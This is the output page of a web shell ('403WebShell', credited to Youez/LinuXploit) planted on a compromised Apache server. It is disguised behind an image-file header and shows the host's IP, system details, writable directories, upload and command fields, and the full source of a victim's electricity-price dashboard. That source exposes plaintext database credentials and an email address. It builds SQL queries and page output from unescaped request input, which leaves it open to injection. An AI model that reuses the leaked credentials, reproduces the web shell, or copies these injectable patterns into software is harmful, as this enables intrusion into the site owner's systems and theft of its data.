????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.22.79.2
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/shellyctr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/shellyctr/index.php
<?php

//ini_set('display_errors', 1);
//ini_set('display_startup_errors', 1);
//error_reporting(E_ALL);

$Username = "carl.hoffstedt@astacus.se";

$mysqli = new mysqli("www.astacus.se", "carlhoffstedt", "Astacus2020!", "ShellyCTR");

	$sql = "SELECT * FROM tblNordpool order by endTime desc LIMIT 1";
		$result = $mysqli->query($sql);
		while($obj = $result->fetch_object()){  
		  	$latest_date =  substr($obj->endTime,0,10); 
		}



		$percent_off = $_GET['off_procent'];
        $percent_on = $_GET['on_procent'];
		$area = $_GET['area'];
        $day = $_GET['day'];
    
	       $sql = "SELECT * FROM tblPriceControl, tblUsers WHERE tblPriceControl.Username = tblUsers.Username and tblUsers.Username = '".$Username."'";
		$result = $mysqli->query($sql);
		while($obj = $result->fetch_object()){  
		  	$percent_off =  $obj->Percent_off;
            $percent_on =  $obj->Percent_on;
            $area =  $obj->Area;
            $lat =  $obj->lat;
            $lon =  $obj->lon;
            $Controltype =  $obj->Controltype;
		}
            
        if($percent_on == "1"){
                $add_on = 1;
        }
        if($percent_off == "1"){
                $add_off = 1;
        }

   if($day == ""){
        $day = 0;
    }

?>

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Namnlöst dokument</title>


<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
<script src="js/package/dist/utils.js"></script>
	
		<style>
		
		table, th, td {
            font-family: 'Gill Sans', 'Gill Sans MT', 'Myriad Pro', 'DejaVu Sans Condensed', 'Helvetica', 'Arial', 'sans-serif';
			font-size: 8px;
              border-collapse: collapse;
        }
            
	</style>
	
	<script>
    
    function send(){
         var area = document.getElementById("area").value;
         var off_procent = document.getElementById("off_procent").value;
         var on_procent = document.getElementById("on_procent").value;
        
         location.href = "?area="+area+"&off_procent="+off_procent+"&on_procent="+on_procent+"&day=<?php echo($day)?>";
    }
        
        function show_tomorrow(){
            let new_data = confirm("Det finns ny data för i morgon, vill du visa den istället?");
                    
                var area = '<?php echo($area);?>';
                var off_procent = '<?php echo($percent_off);?>';
                var on_procent = '<?php echo($percent_on);?>';
    
            if (new_data == true) {
                
                location.href = "?area="+area+"&off_procent="+off_procent+"&on_procent="+on_procent+"&day=1";
            }else{
                
                 location.href = "?area="+area+"&off_procent="+off_procent+"&on_procent="+on_procent+"&day=0";
            }
            
        }
    </script>
</head>

<body>
<center>
    
<select name="area" id="area">
  <option value="">-- Välj elområde --</option>
  <option value="SE1" <?php if($_GET['area'] == "SE1"){echo(" selected");}?>>SE1</option>
  <option value="SE2" <?php if($_GET['area'] == "SE2"){echo(" selected");}?>>SE2</option>
  <option value="SE3" <?php if($_GET['area'] == "SE3"){echo(" selected");}?>>SE3</option>
  <option value="SE4" <?php if($_GET['area'] == "SE4"){echo(" selected");}?>>SE4</option>
</select>
    
<select name="off_procent" id="off_procent">
  <option value="0">-- OFF % --</option>
  <option value="0"<?php if($_GET['off_procent'] == "0"){echo(" selected");}?>>0</option>
  <option value="0.1"<?php if($_GET['off_procent'] == "0.1"){echo(" selected");}?>>10</option>
  <option value="0.2"<?php if($_GET['off_procent'] == "0.2"){echo(" selected");}?>>20</option>
  <option value="0.3"<?php if($_GET['off_procent'] == "0.3"){echo(" selected");}?>>30</option>
  <option value="0.4"<?php if($_GET['off_procent'] == "0.4"){echo(" selected");}?>>40</option>
  <option value="0.5"<?php if($_GET['off_procent'] == "0.5"){echo(" selected");}?>>50</option>
  <option value="0.6"<?php if($_GET['off_procent'] == "0.6"){echo(" selected");}?>>60</option>
  <option value="0.7"<?php if($_GET['off_procent'] == "0.7"){echo(" selected");}?>>70</option>
  <option value="0.8"<?php if($_GET['off_procent'] == "0.8"){echo(" selected");}?>>80</option>
  <option value="0.9"<?php if($_GET['off_procent'] == "0.9"){echo(" selected");}?>>90</option>
  <option value="1.0"<?php if($_GET['off_procent'] == "1"){echo(" selected");}?>>100</option>
    
</select>
    
    <select name="on_procent" id="on_procent">
  <option value="0">-- ON % --</option>
  <option value="0"<?php if($_GET['on_procent'] == "0"){echo(" selected");}?>>0</option>
  <option value="0.1"<?php if($_GET['on_procent'] == "0.1"){echo(" selected");}?>>10</option>
  <option value="0.2"<?php if($_GET['on_procent'] == "0.2"){echo(" selected");}?>>20</option>
  <option value="0.3"<?php if($_GET['on_procent'] == "0.3"){echo(" selected");}?>>30</option>
  <option value="0.4"<?php if($_GET['on_procent'] == "0.4"){echo(" selected");}?>>40</option>
  <option value="0.5"<?php if($_GET['on_procent'] == "0.5"){echo(" selected");}?>>50</option>
  <option value="0.6"<?php if($_GET['on_procent'] == "0.6"){echo(" selected");}?>>60</option>
  <option value="0.7"<?php if($_GET['on_procent'] == "0.7"){echo(" selected");}?>>70</option>
  <option value="0.8"<?php if($_GET['on_procent'] == "0.8"){echo(" selected");}?>>80</option>
  <option value="0.9"<?php if($_GET['on_procent'] == "0.9"){echo(" selected");}?>>90</option>
  <option value="1.0"<?php if($_GET['on_procent'] == "1"){echo(" selected");}?>>100</option>
</select>

    <input type="submit" onClick="send();">
    
</center>

  <p>
  <canvas id="myChart" width="100%" ></canvas>
      <br>
  <canvas id="myChart2" width="100%" ></canvas>
    
    
    
  <?php
	

    
 
    
    $from = date("Y-m-d",strtotime("$day days"))." 00:00:00";
    $to = date("Y-m-d",strtotime("$day days"))." 24:00:00";
    
	

    
      
    
    
	
        $sql = "SELECT DISTINCT(endTime) FROM tblNordpool WHERE endTime >= '".$from."' and endTime <= '".$to."' order by endTime";
 
		$result = $mysqli->query($sql);
      
        $json_labels_t = "[";
   
		$labels_arr = array();
    	$tariff_arr = array();
        while($obj = $result->fetch_object()){  
          $timestamp =  $obj->endTime;  
          $json_labels_t = $json_labels_t . "'". $timestamp ."',";
          $labels_arr[] = $timestamp;         
        
            
            $month = date("n",strtotime($timestamp)); //1-12
            $hour = date("G",strtotime($timestamp)); // 0-24
            if($month >= 11 || $month <= 3){
                 if($hour >= 6 && $hour < 22){
                      $tariff = 0.536;
                 }else{
                      $tariff = 0.20;
                 }
            }else{
                $tariff = 0.20;
            }
            
            
            $tariff_arr[] = $tariff;
        
          }
        $json_labels_t = $json_labels_t . "'". str_replace("23:00:00","24:00:00",$timestamp) ."',";
        $json_labels_t = $json_labels_t . "]";
    

        $moms = 1.25;
    
    
    
    

		$sql = "SELECT * FROM tblNordpool WHERE endTime >= '".$from."' and endTime <= '".$to."' and area = 'SE1' order by endTime";
        $result = $mysqli->query($sql);

		$arr1 = array();
        while($obj = $result->fetch_object()){  
           $timestamp =  $obj->endTime;  
           $value =   ($obj->value/1000  + $tariff)*$moms;
           $arr1[] = array($timestamp,$value); 
        }
		  $arr1[] = array($timestamp,$value); 
    
	$sql = "SELECT * FROM tblNordpool WHERE endTime >= '".$from."' and endTime <= '".$to."' and area = 'SE2' order by endTime";
        $result = $mysqli->query($sql);

		$arr2 = array();
        while($obj = $result->fetch_object()){  
           $timestamp =  $obj->endTime;  
           $value =   ($obj->value/1000  + $tariff)*$moms;
           $arr2[] = array($timestamp,$value); 
        }
      $arr2[] = array($timestamp,$value); 
	
	$sql = "SELECT * FROM tblNordpool WHERE endTime >= '".$from."' and endTime <= '".$to."' and area = 'SE3' order by endTime";
        $result = $mysqli->query($sql);

		$arr3 = array();
        while($obj = $result->fetch_object()){  
           $timestamp =  $obj->endTime;  
           $value =   ($obj->value/1000  + $tariff)*$moms;
           $arr3[] = array($timestamp,$value); 
        }
     $arr3[] = array($timestamp,$value); 
	
	$sql = "SELECT * FROM tblNordpool WHERE endTime >= '".$from."' and endTime <= '".$to."' and area = 'SE4' order by endTime";
        $result = $mysqli->query($sql);

		$arr4 = array();
        while($obj = $result->fetch_object()){  
           $timestamp =  $obj->endTime;  
           $value =  ($obj->value/1000  + $tariff)*$moms;
           $arr4[] = array($timestamp,$value); 
        }
    $arr4[] = array($timestamp,$value); 
	

	$json_data_t1 = "data : [";
	$json_data_t2 = "data : [";
	$json_data_t3 = "data : [";
	$json_data_t4 = "data : [";

    
	foreach ($labels_arr as &$value) {
    	
		$f1 = false;
		foreach ($arr1 as &$v1) {
			if($v1[0] == $value){
				 $json_data_t1 = $json_data_t1 . $v1[1].",";
				 $f1 = true;
			}
		}
		if($f1 == false){
			$json_data_t1 = $json_data_t1 .",";
		}
		
		
		$f1 = false;
		foreach ($arr2 as &$v1) {
			if($v1[0] == $value){
				 $json_data_t2 = $json_data_t2 . $v1[1].",";
				 $f1 = true;
			}
		}
		if($f1 == false){
			$json_data_t2 = $json_data_t2 .",";
		}
		
		
			$f1 = false;
		foreach ($arr3 as &$v1) {
			if($v1[0] == $value){
				 $json_data_t3 = $json_data_t3 . $v1[1].",";
				 $f1 = true;
			}
		}
		if($f1 == false){
			$json_data_t3 = $json_data_t3 .",";
		}
		
		
			$f1 = false;
		foreach ($arr4 as &$v1) {
			if($v1[0] == $value){
				 $json_data_t4 = $json_data_t4 . $v1[1].",";
				 $f1 = true;
			}
		}
		if($f1 == false){
			$json_data_t4 = $json_data_t4 .",";
		}
		
		  
	}
	$json_data_t1 = $json_data_t1 . "]";
	$json_data_t2 = $json_data_t2 . "]";
	$json_data_t3 = $json_data_t3 . "]";
	$json_data_t4 = $json_data_t4 . "]";

	////////////
	 if($area == ""){
			$area  = 3;
		}
	
		if($percent_off == ""){
			$percent_off  = 0.2;
		}
        if($percent_on == ""){
			$percent_on  = 0.2;
		}
    
        if($percent_on == "1"){
                $add_on = 1;
        }
        if($percent_off == "1"){
                $add_off = 1;
        }
    
		$nbr_hrs_off = round((24*$percent_off))+$add_off;
        $nbr_hrs_on = round((24*$percent_on))+$add_on;
	
		$arr_use = $arr3;
	   
		if($area == 1){
			$arr_use = $arr1;
            $json_data_t1 = $json_data_t1;
		}else if($area == 2){
			$arr_use = $arr2;
             $json_data_t1 = $json_data_t2;
		}else if($area == 3){
			$arr_use = $arr3;
             $json_data_t1 = $json_data_t3;
		}else if($area == 4){
			$arr_use = $arr4;
             $json_data_t1 = $json_data_t4;
		}
    
        $sum = 0;
        foreach ($arr_use as &$v1) {
			 $sum +=$v1[1];
		}
        $average = $sum/count($arr_use);
   
	
	
		$arr_off = array();
        $arr_on = array();
		foreach ($arr_use as &$v1) {
			$arr_off[] = $v1[1];
            $arr_on[] = $v1[1];
		}

		rsort($arr_off);
		$largest = array_slice($arr_off, 0, $nbr_hrs_off);
	   
        sort($arr_on);
		$smallest = array_slice($arr_on, 0, $nbr_hrs_on);

	$onoff_arr5 = array();
		$json_data_t5 = "data : [";
		$f1 = false;
		foreach ($arr_use as &$v1) {
			if(in_array($v1[1],$largest)){
				 $json_data_t5 = $json_data_t5 . "'OFF',";
				 $f1 = true;
                 $onoff_arr5[] = 0;
			}else{
				 $json_data_t5 = $json_data_t5 . "'ON',";
                 $onoff_arr5[] = 1;
			}
		}
		if($f1 == false){
			$json_data_t5 = $json_data_t5 .",";
		}
		$json_data_t5 = $json_data_t5 . "]";
    
    
    $onoff_arr6 = array();
		$json_data_t6 = "data : [";
		$f1 = false;
		foreach ($arr_use as &$v1) {
			if(in_array($v1[1],$smallest)){
				 $json_data_t6 = $json_data_t6 . "'ON',";
				 $f1 = true;
                 $onoff_arr6[] = 1;
			}else{
				 $json_data_t6 = $json_data_t6 . "'OFF',";
                 $onoff_arr6[] = 0;
			}
		}
		if($f1 == false){
			$json_data_t6 = $json_data_t6 .",";
		}
		$json_data_t6 = $json_data_t6 . "]";

    
    $json_data_t7 = "data : [";
		$f1 = false;
		foreach ($arr_use as &$v1) {

                $json_data_t7 = $json_data_t7 . $average.",";
	
		}
		if($f1 == false){
			$json_data_t7 = $json_data_t7 .",";
		}
		$json_data_t7 = $json_data_t7 . "]";
    
    
    
        $onoff_arr8 = array();
		$json_data_t8 = "data : [";
		$f1 = false;
		foreach ($arr_use as &$v1) {
			if($v1[1] < $average){
				 $json_data_t8 = $json_data_t8 . "'ON',";
				 $f1 = true;
                $onoff_arr8[] = 1;
			}else{
				 $json_data_t8 = $json_data_t8 . "'OFF',";
                $onoff_arr8[] = 0;
			}
		}
		if($f1 == false){
			$json_data_t8 = $json_data_t8 .",";
		}
		$json_data_t8 = $json_data_t8 . "]";

	?>	
  <?php
    	if(date("Y-m-d") != $latest_date && $_GET['day'] == ""){
        echo("<script> show_tomorrow(); </script>");
	}
    
    ?>

	<?php

    
	
        $sql = "SELECT * FROM tblSMHI WHERE endTime >= '".$from."' and endTime <= '".$to."' and Username = '".$Username."' order by endTime";
 
		$result = $mysqli->query($sql);
      
       
            $json_labels_t2 = "[";
            $json_data_ws = "data : [";
            $json_data_t = "data : [";
            $json_data_t_effective = "data : [";
            $json_data_tcc_mean = "data : [";
            $json_data_tcc_mean_array = array(); 
        $json_data_t_effective_array = array();
      
        while($obj = $result->fetch_object()){  
            $timestamp =  $obj->startTime;  
            $json_labels_t2 = $json_labels_t2 . "'". $timestamp ."',";
         
     
            
             
             $json_data_t =   $json_data_t . $obj->t.",";
            $json_data_ws =   $json_data_ws . $obj->ws.",";
            $json_data_t_effective =   $json_data_t_effective . $obj->t_effective.",";
              $json_data_t_effective_array[] =  $obj->t_effective;
            
          
            if($obj->tcc_mean >= 5){
                $sol = "'OFF'";
                  $json_data_tcc_mean_array[] = 0;
            }else{
                $sol = "'ON'";
                 $json_data_tcc_mean_array[] = 1;
            }
            
            $json_data_tcc_mean =   $json_data_tcc_mean . $sol.",";
            
        
          }
            $json_data_t =  $json_data_t .  "]";
            $json_data_ws =  $json_data_ws .  "]";
            $json_data_t_effective =  $json_data_t_effective .  "]";
            $json_data_tcc_mean = $json_data_tcc_mean  ."]";

        $json_labels_t2 = $json_labels_t2 . "'". str_replace("23:00:00","24:00:00",$timestamp) ."',";
        $json_labels_t2 = $json_labels_t2 . "]";
    
        $onoff_arr = array();
		if($Controltype == 1){
            $onoff_arr =  $onoff_arr5;
        }else if($Controltype == 2){
            $onoff_arr =  $onoff_arr6;
        }else if($Controltype == 3){
            $onoff_arr =  $onoff_arr8;        
        }
      
     $json_data_t_effective_ohmigo = "data : [";
			
			$x = 0;
		foreach ($json_data_t_effective_array as &$t_effective) {
			
            $addtemp = 0;
            if($json_data_tcc_mean_array[$x] == 1){
               if($x > 8 && $x <= 15){
                    $addtemp += 2;
                }
            }
			
			if($onoff_arr6[$x] == 1){
             
                    $addtemp -= 2;
				   
				 //  echo("<br>Sänk temperaturen ute de billigaste timmarna på dygnet<br>");
                
            }
			
            
            if($onoff_arr[$x] == 1){
                $json_data_t_effective_ohmigo =   $json_data_t_effective_ohmigo . ($json_data_t_effective_array[$x]+$addtemp).",";
            }else{
                $json_data_t_effective_ohmigo =   $json_data_t_effective_ohmigo . ($json_data_t_effective_array[$x]+20+$addtemp).",";
            }
            
            
            
            $x++;
		}
	 $json_data_t_effective_ohmigo =  $json_data_t_effective_ohmigo .  "]";
						
	
	?> 

<script>

const labels = <?php echo($json_labels_t);?>;
const data = {
  labels: labels,
  datasets: [
      {
      label: 'Medelpris',
        <?php echo($json_data_t7);?>,
	      borderColor: '#FF00FF',
      	  backgroundColor: '#FF00FF',
		  stepped: true,
		  fill: false,
          yAxisID: 'y'
    },
     {
      label: '<?php echo($area);?>',
        <?php echo($json_data_t1);?>,
	      borderColor: '#FF0000',
      	  backgroundColor: '#FF0000',
		 stepped: true,
		fill: true,
        yAxisID: 'y'
    },
      {
      label: 'Temperaturkurva OMHIGO',
        <?php echo($json_data_t_effective_ohmigo);?>,
	      borderColor: '#FF0000',
      	  backgroundColor: '#FF0000',
		 stepped: false,
		fill: false,
        yAxisID: 'y4'
    },
      {
      label: '(1) ON/OFF-reglering baserat på OFF de dyraste <?php echo($percent_off*100);?>% av timmarna i elområde <?php echo($area);?>',
        <?php echo($json_data_t5);?>,
	      borderColor: '#005808',
      	  backgroundColor: '#005808',
		  stepped: true,
		  fill: false,
          yAxisID: 'y1'
    }
      ,
      {
      label: '(2) ON/OFF-reglering baserat på ON de billigaste <?php echo($percent_on*100);?>% av timmarna i elområde <?php echo($area);?>',
        <?php echo($json_data_t6);?>,
	      borderColor: '#009b0f',
      	  backgroundColor: '#009b0f',
		  stepped: true,
		  fill: false,
          yAxisID: 'y2'
    },
      {
      label: '(3) ON/OFF-reglering baserat på lägre än medelpris i elområde <?php echo($area);?>',
        <?php echo($json_data_t8);?>,
	      borderColor: '#00e616',
      	  backgroundColor: '#00e616',
		  stepped: true,
		  fill: false,
          yAxisID: 'y3'
    }
     
  ]
};

	
	
const config = {
  maintainAspectRatio: true,
  type: 'line',
  data: data,
  options: {
      
    responsive: true,
    plugins: {
      title: {
        display: true,
        text: 'ELPRISOMRÅDEN <?php 
          $latest_date_lable = $latest_date ; 
          if($day == 0){
              $latest_date_lable = date("Y-m-d") ; 
          }
          
          echo($latest_date_lable );?>',
      },
    },
      
      
    scales: {
      y: {
        type: 'linear',
        position: 'left',
        stack: 'demo',
        stackWeight: 5,
      }
        ,
		y4: {
        type: 'linear',
        position: 'left',
        stack: 'demo',
        stackWeight: 5,

      }
        ,
		y1: {
        type: 'category',
        labels: ['ON', 'OFF'],
        offset: true,
        position: 'left',
        stack: 'demo',
        stackWeight: 1,

      },
        y2: {
        type: 'category',
        labels: ['ON', 'OFF'],
        offset: true,
        position: 'left',
        stack: 'demo',
        stackWeight: 1,

      },
        y3: {
        type: 'category',
        labels: ['ON', 'OFF'],
        offset: true,
        position: 'left',
        stack: 'demo',
        stackWeight: 1,

      }
    }
  }
};
    
  
		
  const myChart = new Chart(
    document.getElementById('myChart'),
    config
  );
    
    
      </script>
    
    
   
        <script>



const labels2 = <?php echo($json_labels_t2);?>;
const data2 = {
  labels: labels,
  datasets: [
      {
      label: 'Temperatur',
        <?php echo($json_data_t);?>,
	      borderColor: '#0060ff',
      	  backgroundColor: '#0060ff',
		  stepped: false,
		  fill: false,
          yAxisID: 'y'
    },
     {
      label: 'Vind',
        <?php echo($json_data_ws);?>,
	      borderColor: '#ff0000',
      	  backgroundColor: '#ff0000',
		 stepped: false,
		fill: false,
        yAxisID: 'y'
    },
     {
      label: 'Effektiv vind',
        <?php echo($json_data_t_effective);?>,
	      borderColor: '#0000a9',
      	  backgroundColor: '#0000a9',
		 stepped: false,
		fill: false,
        yAxisID: 'y'
    },
     {
      label: 'Sol',
        <?php echo($json_data_tcc_mean);?>,
	      borderColor: '#f6ff00',
      	  backgroundColor: '#f6ff00',
		 stepped: true,
		fill: true,
        yAxisID: 'y2'
    },
     
  ]
};

	
	
const config2 = {
  maintainAspectRatio: true,
  type: 'line',
  data: data2,
  options: {
      
    responsive: true,
    plugins: {
      title: {
        display: true,
        text: 'VÄDERPROGNOS <?php 
          $latest_date_lable = $latest_date ; 
          if($day == 0){
              $latest_date_lable = date("Y-m-d") ; 
          }
          
          echo($latest_date_lable );?>',
      },
    },
      
      
    scales: {
         y2: {
        type: 'category',
        labels: ['ON', 'OFF'],
        offset: true,
        position: 'left',
        stack: 'demo',
        stackWeight: 1,
      
      },
      y: {
        type: 'linear',
        position: 'left',
        stack: 'demo',
        stackWeight: 10,
      
      }
        
    }
  }
};
    
  
		
  const myChart2 = new Chart(
    document.getElementById('myChart2'),
    config2
  );
     
            
    </script>


 
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit